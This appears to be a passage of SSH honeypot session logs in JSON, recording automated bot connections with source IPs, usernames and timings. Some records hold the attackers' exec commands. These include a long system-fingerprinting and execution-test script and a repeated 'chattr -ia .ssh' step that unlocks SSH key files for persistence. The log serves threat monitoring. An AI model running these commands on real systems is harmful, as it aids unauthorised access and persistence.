\"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T16:08:37.455319+00:00",
  "ended_at": "2026-08-26T16:08:37.560895+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "9ac5462a-e545-4068-966c-7799688124c5",
  "name": "downy-candid-parakeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 47434,
  "username": "arthur",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:08:35.444920+00:00",
  "ended_at": "2026-08-26T16:08:36.607136+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "930d638f-7427-46bc-862e-3211f719072b",
  "name": "seaward-smoky-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 56618,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:08:33.051470+00:00",
  "ended_at": "2026-08-26T16:08:34.397582+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cfa98c4a-8f06-4005-8483-3fb81663b9e4",
  "name": "frugal-amiable-mole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "121.185.89.74",
  "src_port": 33832,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:08:10.403457+00:00",
  "ended_at": "2026-08-26T16:08:11.550432+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "12cf6d31-1089-422c-a24d-ec88e13191fe",
  "name": "smooth-leafy-goshawk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "175.206.113.91",
  "src_port": 53178,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:07:24.917197+00:00",
  "ended_at": "2026-08-26T16:07:26.109251+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "23a9fb9c-5201-46e8-aab0-6326f09fcf93",
  "name": "daring-watchful-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 43570,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T16:06:49.192379+00:00",
  "ended_at": "2026-08-26T16:06:49.374787+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "7ad9ac4b-316b-4ca6-9db6-dcbd2ba0263b",
  "name": "jagged-barren-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 49888,
  "username": "reza",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 528,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:06:07.069167+00:00",
  "ended_at": "2026-08-26T16:06:07.761835+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2034
 },
 {
  "id": "69247471-e4f4-46ee-976e-d60f59d0c2ac",
  "name": "frugal-languid-hare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 49136,
  "username": "reza",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:05:55.603772+00:00",
  "ended_at": "2026-08-26T16:05:57.219972+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e540b494-6b93-4dc5-bb6d-dc76e82ca321",
  "name": "sooty-quartz-elk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 49898,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:05:52.620713+00:00",
  "ended_at": "2026-08-26T16:05:54.555033+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cc6fdb07-6f82-4d91-a817-aaa6b6bcdcf0",
  "name": "mottled-marbled-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 40708,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T16:04:59.966245+00:00",
  "ended_at": "2026-08-26T16:05:00.104883+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "79c994ff-1043-48de-b877-ad144b653374",
  "name": "nameless-bashful-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 37870,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T16:03:06.194213+00:00",
  "ended_at": "2026-08-26T16:03:06.308859+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "781f0fa7-6ac3-47ca-8792-2ab888a6ad06",
  "name": "leafy-shifting-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "14.225.173.146",
  "src_port": 35112,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1424,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:02:51.702893+00:00",
  "ended_at": "2026-08-26T16:02:52.866853+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "1114f7d9-73ba-48aa-aa42-8c3419f56fc3",
  "name": "zealous-indigo-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "14.225.173.146",
  "src_port": 53450,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:02:28.027864+00:00",
  "ended_at": "2026-08-26T16:02:29.300364+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8bf73b55-d54c-4bb3-880e-43c4925fa1b6",
  "name": "glassy-ivory-starling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "14.225.173.146",
  "src_port": 53436,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:02:24.663382+00:00",
  "ended_at": "2026-08-26T16:02:26.339942+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "541a13ec-c19a-423a-99f8-cada782cf517",
  "name": "somber-tranquil-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "182.253.79.195",
  "src_port": 3862,
  "username": "lighthouse",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 802,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:01:34.453333+00:00",
  "ended_at": "2026-08-26T16:01:35.228882+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2048
 },
 {
  "id": "6158691b-0433-4b55-a30e-8777a2186313",
  "name": "placid-seaward-waxwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "182.253.79.195",
  "src_port": 35827,
  "username": "lighthouse",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:01:18.507050+00:00",
  "ended_at": "2026-08-26T16:01:20.383489+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e9695b16-e697-4d00-9ee5-c82ad2f17c68",
  "name": "dusty-shaded-otter",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 34944,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:01:17.477229+00:00",
  "ended_at": "2026-08-26T16:01:18.345458+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "484ce3c8-5fb2-479a-873a-56de617b6f59",
  "name": "ivory-feathered-lark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "182.253.79.195",
  "src_port": 58627,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:01:15.570109+00:00",
  "ended_at": "2026-08-26T16:01:16.861176+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0c194abd-47cb-4432-a0bb-e0d11e0d7933",
  "name": "nautical-barren-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 34992,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T16:01:02.058803+00:00",
  "ended_at": "2026-08-26T16:01:02.168006+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "64dec936-e745-49b8-a148-e40e0079af48",
  "name": "faded-brave-marmot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 60676,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:00:07.663251+00:00",
  "ended_at": "2026-08-26T16:00:10.527996+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "644943a9-6b18-4872-a68e-512b18d1660f",
  "name": "somber-honest-petrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 56258,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:59:11.040241+00:00",
  "ended_at": "2026-08-26T15:59:17.842455+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b495c2af-3aa9-4524-a7b4-8f13b69f7fba",
  "name": "sleepy-muted-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 60356,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
